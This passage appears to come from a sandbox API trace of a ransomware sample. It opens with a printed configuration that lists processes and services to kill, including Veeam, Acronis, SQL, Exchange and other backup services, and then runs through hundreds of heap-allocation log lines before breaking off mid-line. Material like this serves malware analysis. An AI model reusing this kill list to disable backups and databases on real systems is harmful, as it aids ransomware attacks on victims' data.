\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":20,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\".bat\", \"backup\",\".cmd\"],},\"net\":{\"use\":true, \"ignore\": { \"use\":true, \"disk\":true, \"share\":[\"ipc$\",\"admin$\"], }},\"unlocker\":{\"use\":true, \"ignore\": { \"use\":true, \"pspath\":[\"*:?windows*\",\"*:?winnt*\",\"*:?program file*?vmwar*\"], \"prc\":[\"psexec.exe\",\"system\"], }}}") returned 5 [0126.740] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f6970, Size=0x1c) returned 0x2f69d0 [0126.740] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f6970 [0126.740] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f69d0, Size=0x20) returned 0x2f69d0 [0126.740] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f69f8 [0126.740] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x4) returned 0x2f68c8 [0126.740] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f6a18 [0126.740] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f68c8, Size=0x8) returned 0x2f68c8 [0126.740] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f6a38 [0126.740] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f69d0, Size=0x24) returned 0x2f6a58 [0126.740] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f69d0 [0126.740] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f6a58, Size=0x28) returned 0x2f6a58 [0126.740] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f6a88 [0126.740] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f6a58, Size=0x2c) returned 0x2f6aa8 [0126.740] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f6a58 [0126.740] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x4) returned 0x2f6a78 [0126.740] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f6ae0 [0126.740] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x4) returned 0x2f6918 [0126.740] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f6b18 [0126.740] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f6918, Size=0x8) returned 0x2f6918 [0126.741] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f6b38 [0126.741] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f6918, Size=0xc) returned 0x2f6918 [0126.741] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f6b58 [0126.741] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f6918, Size=0x10) returned 0x2f6918 [0126.741] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f6b78 [0126.741] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f6918, Size=0x14) returned 0x2f7300 [0126.741] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f6b98 [0126.741] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7300, Size=0x18) returned 0x2f7300 [0126.741] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f6bb8 [0126.741] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7300, Size=0x1c) returned 0x2f7300 [0126.741] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f6bd8 [0126.741] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7300, Size=0x20) returned 0x2f7300 [0126.741] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f6bf8 [0126.741] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7300, Size=0x24) returned 0x2f7300 [0126.741] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f6c18 [0126.741] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7300, Size=0x28) returned 0x2f7300 [0126.741] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f6c38 [0126.741] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7300, Size=0x2c) returned 0x2f7300 [0126.741] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f6c58 [0126.741] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7300, Size=0x30) returned 0x2f7300 [0126.741] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f6c78 [0126.741] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7300, Size=0x34) returned 0x2f7300 [0126.741] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f6c98 [0126.741] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7300, Size=0x38) returned 0x2f7300 [0126.741] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f6cb8 [0126.741] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7300, Size=0x3c) returned 0x2f7300 [0126.741] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f6cd8 [0126.741] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7300, Size=0x40) returned 0x2f7300 [0126.741] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f6cf8 [0126.741] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7300, Size=0x44) returned 0x2f7300 [0126.741] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f6d18 [0126.741] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7300, Size=0x48) returned 0x2f7300 [0126.741] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f6d38 [0126.741] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7300, Size=0x4c) returned 0x2f7300 [0126.741] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f6d58 [0126.741] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7300, Size=0x50) returned 0x2f7300 [0126.741] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f6d78 [0126.741] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7300, Size=0x54) returned 0x2f7300 [0126.741] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f6d98 [0126.741] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7300, Size=0x58) returned 0x2f7300 [0126.742] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f6db8 [0126.742] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7300, Size=0x5c) returned 0x2f7300 [0126.742] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f6dd8 [0126.742] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7300, Size=0x60) returned 0x2f7300 [0126.742] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f6df8 [0126.742] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7300, Size=0x64) returned 0x2f7300 [0126.742] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f6e18 [0126.742] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7300, Size=0x68) returned 0x2f7300 [0126.742] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f6e38 [0126.742] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7300, Size=0x6c) returned 0x2f7300 [0126.742] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f6e58 [0126.742] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7300, Size=0x70) returned 0x2f7300 [0126.742] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f6e78 [0126.742] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7300, Size=0x74) returned 0x2f7300 [0126.742] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f6e98 [0126.742] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7300, Size=0x78) returned 0x2f7300 [0126.742] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f6eb8 [0126.742] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7300, Size=0x7c) returned 0x2f7300 [0126.742] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f6ed8 [0126.742] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7300, Size=0x80) returned 0x2f7300 [0126.742] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f6ef8 [0126.742] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7300, Size=0x84) returned 0x2f7300 [0126.742] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f6f18 [0126.742] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7300, Size=0x88) returned 0x2f7300 [0126.742] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f6f38 [0126.742] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7300, Size=0x8c) returned 0x2f7300 [0126.742] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f6f58 [0126.742] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7300, Size=0x90) returned 0x2f7300 [0126.742] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f6f78 [0126.742] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7300, Size=0x94) returned 0x2f7300 [0126.742] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f6f98 [0126.742] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f6a78, Size=0x8) returned 0x2f6a78 [0126.742] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f6fb8 [0126.742] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x4) returned 0x2f6918 [0126.742] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f6fd8 [0126.742] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f6918, Size=0x8) returned 0x2f6918 [0126.742] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f6ff8 [0126.742] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f6918, Size=0xc) returned 0x2f6918 [0126.742] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7018 [0126.743] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f6918, Size=0x10) returned 0x2f6918 [0126.743] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7038 [0126.743] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f6918, Size=0x14) returned 0x2f73a0 [0126.743] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7058 [0126.743] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f73a0, Size=0x18) returned 0x2f73a0 [0126.743] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7078 [0126.743] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f73a0, Size=0x1c) returned 0x2f73a0 [0126.743] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7098 [0126.743] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f73a0, Size=0x20) returned 0x2f73a0 [0126.743] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f70b8 [0126.743] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f73a0, Size=0x24) returned 0x2f73a0 [0126.743] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f70d8 [0126.743] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f73a0, Size=0x28) returned 0x2f73a0 [0126.743] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f70f8 [0126.743] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f73a0, Size=0x2c) returned 0x2f73a0 [0126.743] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7118 [0126.743] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f73a0, Size=0x30) returned 0x2f73a0 [0126.743] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7138 [0126.743] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f73a0, Size=0x34) returned 0x2f73a0 [0126.743] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7158 [0126.743] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f73a0, Size=0x38) returned 0x2f73a0 [0126.743] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7178 [0126.743] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f73a0, Size=0x3c) returned 0x2f73a0 [0126.743] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7198 [0126.743] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f73a0, Size=0x40) returned 0x2f73a0 [0126.743] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f71b8 [0126.743] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f6a78, Size=0xc) returned 0x2f6918 [0126.743] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f71d8 [0126.743] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x4) returned 0x2f6a78 [0126.743] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f71f8 [0126.743] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f6a78, Size=0x8) returned 0x2f6a78 [0126.743] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7218 [0126.743] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f6a78, Size=0xc) returned 0x2f73e8 [0126.743] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7238 [0126.743] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f73e8, Size=0x10) returned 0x2f73e8 [0126.743] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7258 [0126.743] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f73e8, Size=0x14) returned 0x2f73e8 [0126.743] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7278 [0126.743] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f73e8, Size=0x18) returned 0x2f73e8 [0126.744] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7298 [0126.744] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f73e8, Size=0x1c) returned 0x2f73e8 [0126.744] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f72b8 [0126.744] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f73e8, Size=0x20) returned 0x2f73e8 [0126.744] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f72d8 [0126.744] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f73e8, Size=0x24) returned 0x2f73e8 [0126.744] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7430 [0126.744] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f73e8, Size=0x28) returned 0x2f73e8 [0126.744] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7450 [0126.744] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f73e8, Size=0x2c) returned 0x2f7c18 [0126.744] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7470 [0126.744] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7c18, Size=0x30) returned 0x2f7c18 [0126.744] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7490 [0126.744] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7c18, Size=0x34) returned 0x2f7c18 [0126.744] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f74b0 [0126.744] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7c18, Size=0x38) returned 0x2f7c18 [0126.744] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f74d0 [0126.744] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7c18, Size=0x3c) returned 0x2f7c18 [0126.744] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f74f0 [0126.744] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7c18, Size=0x40) returned 0x2f7c18 [0126.744] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7510 [0126.744] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7c18, Size=0x44) returned 0x2f7c18 [0126.744] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7530 [0126.744] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7c18, Size=0x48) returned 0x2f7c18 [0126.744] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7550 [0126.744] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7c18, Size=0x4c) returned 0x2f7c18 [0126.744] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7570 [0126.744] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7c18, Size=0x50) returned 0x2f7c18 [0126.744] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7590 [0126.744] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7c18, Size=0x54) returned 0x2f7c18 [0126.744] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f75b0 [0126.744] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7c18, Size=0x58) returned 0x2f7c18 [0126.744] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f75d0 [0126.744] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7c18, Size=0x5c) returned 0x2f7c18 [0126.744] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f75f0 [0126.744] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7c18, Size=0x60) returned 0x2f7c18 [0126.744] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7610 [0126.744] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7c18, Size=0x64) returned 0x2f7c18 [0126.745] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7630 [0126.745] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7c18, Size=0x68) returned 0x2f7c18 [0126.745] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7650 [0126.745] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7c18, Size=0x6c) returned 0x2f7c18 [0126.745] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7670 [0126.745] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7c18, Size=0x70) returned 0x2f7c18 [0126.745] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7690 [0126.745] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7c18, Size=0x74) returned 0x2f7c18 [0126.745] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f76b0 [0126.745] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7c18, Size=0x78) returned 0x2f7c18 [0126.745] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f76d0 [0126.745] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7c18, Size=0x7c) returned 0x2f7c18 [0126.745] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f76f0 [0126.745] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7c18, Size=0x80) returned 0x2f7c18 [0126.745] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7710 [0126.745] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7c18, Size=0x84) returned 0x2f7c18 [0126.745] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7730 [0126.745] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7c18, Size=0x88) returned 0x2f7c18 [0126.745] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7750 [0126.745] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7c18, Size=0x8c) returned 0x2f7c18 [0126.745] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7770 [0126.745] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7c18, Size=0x90) returned 0x2f7c18 [0126.745] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7790 [0126.745] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7c18, Size=0x94) returned 0x2f7c18 [0126.745] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f77b0 [0126.745] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7c18, Size=0x98) returned 0x2f7c18 [0126.745] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f77d0 [0126.745] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7c18, Size=0x9c) returned 0x2f7c18 [0126.745] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f77f0 [0126.745] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7c18, Size=0xa0) returned 0x2f7c18 [0126.745] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7810 [0126.745] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7c18, Size=0xa4) returned 0x2f7c18 [0126.745] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7830 [0126.745] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7c18, Size=0xa8) returned 0x2f7c18 [0126.745] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7850 [0126.745] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7c18, Size=0xac) returned 0x2f7c18 [0126.745] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7870 [0126.745] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7c18, Size=0xb0) returned 0x2f7c18 [0126.745] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7890 [0126.746] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7c18, Size=0xb4) returned 0x2f7c18 [0126.746] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f78b0 [0126.746] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7c18, Size=0xb8) returned 0x2f7c18 [0126.746] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f78d0 [0126.746] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7c18, Size=0xbc) returned 0x2f7c18 [0126.746] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f78f0 [0126.746] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7c18, Size=0xc0) returned 0x2f7c18 [0126.746] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7910 [0126.746] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7c18, Size=0xc4) returned 0x2f7c18 [0126.746] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7930 [0126.746] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7c18, Size=0xc8) returned 0x2f7c18 [0126.746] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7950 [0126.746] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f7c18, Size=0xcc) returned 0x2f7c18 [0126.746] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7970 [0126.746] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x8, Ptr=0x2f6aa8, Size=0x30) returned 0x2f6aa8 [0126.746] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x18) returned 0x2f7990 [0126.746] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, 